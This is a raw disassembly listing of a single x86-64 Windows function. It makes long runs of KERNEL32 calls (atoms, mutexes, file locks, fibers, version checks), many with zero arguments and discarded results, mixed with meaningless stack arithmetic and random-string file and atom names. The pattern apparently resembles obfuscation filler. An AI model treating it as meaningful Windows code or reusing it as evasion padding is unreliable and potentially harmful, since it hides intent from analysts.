mov rcx, qword [rsp + 0x9b00]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a64], eax
mov rax, qword [0x14024f3b0]
movzx eax, word [rax]
mov word [rsp + 0x1164], ax
lea rcx, str.YRi.C3KP24M3_Un
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1168], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cf0], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1a69
mov r8d, 0x62b
mov edx, 0x25
mov rcx, qword [rsp + 0x9da8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4978], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa1f8], rax
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x277]
sub eax, ecx
mov rcx, qword [rsp + 0x9c20]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cc8], rax
mov rax, qword [rsp + 0x8980]
mov rcx, qword [rsp + 0x94f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa048], rax
mov edx, 0x2148
mov rcx, qword [rsp + 0x9570]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a78], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rax, [rsp + 0x7b28]
mov qword [rsp + 0xa200], rax
mov edx, 0x1dd8
mov rcx, qword [rsp + 0x90d0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49bc], eax
mov r9d, 0x1f3d
xor r8d, r8d
lea rdx, [rsp + 0x9e80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b0c], eax
movzx ecx, word [rsp + 0x1134]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1040], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1f800]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b10], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movzx ecx, word [rsp + 0x10d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1070], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x97d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x27c], al
lea rax, [rsp + 0xf60]
mov qword [rsp + 0xa208], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x9d80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a24], eax
movzx ecx, word [rsp + 0xf14]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1044], ax
lea rcx, str.IHxh
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x116c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movzx eax, byte [rsp + 0x274]
mov rcx, qword [rsp + 0x9b90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x20e], al
mov rax, qword [rsp + 0x98a8]
mov eax, dword [rax]
mov dword [0x14024f26c], eax
mov rax, qword [rsp + 0x95c8]
mov rcx, qword [rsp + 0x9e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x95f8]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x3832
mov r9d, 0x33c9
mov r8d, 0x1b4d
mov edx, 0x29fc
mov rcx, qword [rsp + 0x9bb0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4aa4], eax
movzx eax, word [rsp + 0xdac]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1038], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9ab0]
mov qword [rsp + 0xa210], rax
movzx ecx, word [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf9c], ax
mov eax, dword [rsp + 0x4290]
mov ecx, dword [rsp + 0x464c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rcx, str.k2kJyo9_2_RNOf0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1018], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
lea r8, [rsp + 0xa090]
mov rdx, qword [rsp + 0x98e8]
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ae8], eax
movzx ecx, word [rsp + 0xf6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1170], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9600], rax
lea rcx, str.uwRAq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1124], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa218], rax
lea rcx, [rsp + 0x8d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 0xef4
xor r8d, r8d
lea rdx, [rsp + 0x9c40]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a94], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov eax, dword [rsp + 0x4a30]
mov dword [rsp + 0x4b14], eax
movsx eax, byte [rsp + 0x18b]
movsx ecx, byte [rsp + 0x293]
or eax, ecx
mov byte [rsp + 0x14b], al
lea rcx, str.22ECi_MQiyh6_YFamTP
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1174], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x9fe0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c78]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1144], ax
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x296]
shl eax, cl
mov byte [rsp + 0x214], al
movzx eax, word [rsp + 0x10c4]
mov word [0x14024f268], ax
movzx ecx, word [rsp + 0x100c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1178], ax
mov rcx, qword [rsp + 0xa010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4944], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f20], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, str.7V_Vaz0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x117c], ax
mov r9d, 0xb33
xor r8d, r8d
lea rdx, [rsp + 0x9e08]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a68], eax
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1180], ax
mov rcx, qword [rsp + 0x9b80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9d08]
mov rcx, qword [rsp + 0x8848]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8110], rax
movzx ecx, word [rsp + 0x1060]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf40], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0x9c58]
mov eax, dword [rax]
mov dword [rsp + 0x4b18], eax
movzx eax, byte [rsp + 0x279]
mov rcx, qword [rsp + 0x95b0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x28c], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa220], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov r9d, 0x17d
xor r8d, r8d
lea rdx, [rsp + 0x9328]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a90], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [0x14024f338]
movzx ecx, word [rsp + 0xfb0]
add eax, ecx
mov word [rsp + 0x9b8], ax
lea rcx, [rsp + 0x97d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x27d]
movsx ecx, byte [rsp + 0x25a]
sub eax, ecx
mov byte [rsp + 0x238], al
mov rax, qword [rsp + 0x9848]
mov eax, dword [rax]
mov dword [rsp + 0x48b4], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9cb0], rax
mov edx, 0x154
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49bc], eax
lea rcx, str.edgLKy_avIBnQ8
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1184], ax
movzx ecx, word [rsp + 0xfac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf44], ax
mov rcx, qword [rsp + 0x9750]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.rZpDQzQ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa228], rax
mov rcx, qword [rsp + 0xa010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9ad0]
movzx eax, word [rax]
mov word [rsp + 0x1188], ax
lea rcx, [rsp + 0x9a58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0xa230]
mov rcx, qword [rsp + 0x9ef8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4aa8], eax
mov rax, qword [rsp + 0x8b08]
mov rcx, qword [rsp + 0x9a08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x99b8], rax
lea rax, [rsp + 0x48a4]
mov qword [rsp + 0xa238], rax
movzx eax, byte [0x14024f3a0]
movzx ecx, byte [rsp + 0x170]
sub eax, ecx
mov byte [0x140221038], al
movzx eax, word [rsp + 0x115c]
movzx ecx, word [rsp + 0xfb0]
and eax, ecx
mov rcx, qword [rsp + 0x9860]
mov word [rcx], ax
mov rcx, qword [rsp + 0x98f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x20], 0x2da
mov r9d, 0x9b3
mov r8d, 0x105f
mov edx, 0x206b
mov rcx, qword [rsp + 0xa0b8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x46fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa240], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rcx, qword [rsp + 0x9650]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movzx ecx, word [rsp + 0xfd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x118c], ax
lea rcx, [rsp + 0x9c90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r9d, 0x2699
xor r8d, r8d
lea rdx, [rsp + 0x9b30]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a48], eax
lea rcx, str.7lExDFY_mZA6D
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1190], ax
mov rax, qword [rsp + 0x9d78]
mov rcx, qword [rsp + 0x9fd0]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x8f60], rax
mov edx, 0x124
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4930], eax
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8980]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x84b8], rax
mov rax, qword [rsp + 0x9db8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x228]
add eax, ecx
mov byte [rsp + 0x272], al
movzx ecx, word [rsp + 0xf4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1194], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rax, [rsp + 0x4ab8]
mov qword [rsp + 0xa248], rax
mov rcx, qword [rsp + 0x9aa8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46fc], eax
movsx eax, word [rsp + 0x1118]
movsx ecx, word [rsp + 0x1068]
sub eax, ecx
mov word [rsp + 0xf60], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
movzx eax, word [rsp + 0xf2c]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9660]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov dword [rsp + 0x4b1c], eax
mov rax, qword [rsp + 0x9b40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b68]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140221039], al
mov rax, qword [0x14022fb60]
mov rcx, qword [rsp + 0x96a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x80e0], rax
mov rax, qword [rsp + 0xa0c0]
mov rax, qword [rax]
mov qword [rsp + 0xa250], rax
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x111c]
cdq
idiv ecx
mov word [rsp + 0x10cc], ax
lea rcx, [rsp + 0xa258]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r9d, 2
lea r8, [rsp + 0x9ee0]
mov rdx, qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0x9cd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4af0], eax
lea rcx, [0x14023186c]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfb4], ax
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1cf]
sar eax, cl
mov rcx, qword [rsp + 0x9a88]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa260], rax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x1ffe0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4abc], eax
mov eax, dword [rsp + 0x4928]
mov rcx, qword [rsp + 0x96a8]
mov qword [rsp + 0xa268], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa268]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x43fc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x9e68]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa1c8]
mov qword [rcx], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20460]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b20], eax
mov rax, qword [rsp + 0x9ad0]
movzx eax, word [rax]
mov word [rsp + 0x1198], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov eax, dword [rsp + 0x470c]
mov ecx, dword [rsp + 0x48e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x490c], eax
lea rcx, [rsp + 0x20c40]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4a70], eax
lea rcx, [0x140231870]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x119c], ax
movzx eax, byte [rsp + 0x28d]
mov rcx, qword [rsp + 0xa120]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14022133a], al
mov rcx, qword [rsp + 0x9fe8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x9278]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x9e30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x8f70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdac]
add eax, ecx
mov word [rsp + 0x1038], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa0c8], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b24], eax
lea rax, [rsp + 0x205]
mov qword [rsp + 0xa270], rax
mov r9d, 2
lea r8, [rsp + 0x8d28]
mov rdx, qword [rsp + 0x9908]
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0x9f98]
mov ecx, dword [rsp + 0x41a8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9d98]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x9e00]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x250], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.ZcIbbUPofdW7IUP1TlsXC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa278], rax
movsx eax, word [rsp + 0xb4c]
mov rcx, qword [rsp + 0x98b0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9ed0]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rcx, [rsp + 0x9c90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [0x14022fb68]
mov dword [rsp + 0x4b28], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
lea rcx, str.FGE0tLE8mwsz
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11a0], ax
lea rcx, [rsp + 0x9cc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x910]
movzx ecx, word [rsp + 0xf98]
imul eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
add eax, ecx
mov byte [rsp + 0x28f], al
mov eax, dword [rsp + 0x484c]
mov ecx, dword [0x14024f31c]
sub ecx, eax
mov eax, ecx
mov dword [0x14024f2f0], eax
movzx ecx, word [rsp + 0x1128]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10c0], ax
mov rax, qword [rsp + 0x9080]
mov qword [rsp + 0xa280], rax
mov r9d, 0xb6b
xor r8d, r8d
lea rdx, [rsp + 0x9e60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b2c], eax
mov rax, qword [rsp + 0x9548]
mov rcx, qword [0x14024f3c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8290], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x6ce
mov r9d, 0x1227
mov r8d, 0x23a359d6
mov edx, 2
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4ad0], eax
lea rax, [rsp + 0x9df0]
mov qword [rsp + 0xa288], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x214]
shl eax, cl
mov byte [rsp + 0x257], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f40], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa290], rax
mov rax, qword [rsp + 0x8868]
mov rcx, qword [rsp + 0x7be8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e68], rax
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8ce8]
mov qword [rsp + 0xa298], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa298]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x420c], eax
movsx eax, word [rsp + 0x1090]
movsx ecx, word [rsp + 0xfe8]
or eax, ecx
mov word [rsp + 0x940], ax
movzx ecx, word [rsp + 0x10f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfc0], ax
lea rax, [rsp + 0xb2]
mov qword [rsp + 0xa2a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov eax, dword [rsp + 0x4904]
mov dword [0x14024f264], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.pHKgehAAuu6gZyHqHZHde9A7x6Pi8VZX0yS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa2a8], rax
lea rdx, [rsp + 0x9a78]
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4954], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x208e0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x49d0], eax
movzx ecx, word [rsp + 0xfa8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11a4], ax
movzx eax, word [rsp + 0x111c]
mov rcx, qword [rsp + 0x99b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10c4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movzx eax, word [rsp + 0x9b8]
imul eax, eax, 0xc18
mov word [rsp + 0x10c4], ax
lea rcx, str.tJm4ArO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x113c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x99c0]
mov eax, dword [rax]
mov dword [rsp + 0x4b30], eax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x205]
sub eax, ecx
mov byte [rsp + 0x28e], al
lea rcx, str.8oQ_apOI6D603Fqv.SBoUu
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x114c], ax
lea rax, [0x14024f3be]
mov qword [rsp + 0xa2b0], rax
mov rax, qword [rsp + 0x9dd0]
mov ecx, dword [rsp + 0x49b4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9d80]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x25a]
mov rcx, qword [rsp + 0xa1a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa2a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c88], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [rsp + 0x20], 0x2147
mov r9d, 0x1341
mov r8d, 0x3c75
mov edx, 0x1b9a
mov rcx, qword [rsp + 0xa1d8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x47a0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0x9ac8]
mov ecx, dword [rsp + 0x49c4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14024f264], eax
mov rax, qword [rsp + 0x9520]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1088]
sub eax, ecx
mov word [rsp + 0x6d8], ax
lea rcx, str.IBbUh
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11a8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
movzx eax, byte [rsp + 0x72]
mov byte [rsp + 0x297], al
mov r9d, 1
lea r8, [rsp + 0x95d0]
mov rdx, qword [rsp + 0x9de0]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b34], eax
mov rax, qword [rsp + 0x95f8]
mov rcx, qword [rsp + 0xa128]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9208], rax
lea rcx, [rsp + 0x1a6d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rsp + 0x20], 0
mov r9d, 0x25a6
mov r8d, 0x121b
mov edx, 0xef
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4b38], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20a00]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4a70], eax
mov rax, qword [rsp + 0x7cb8]
mov qword [rsp + 0xa2b8], rax
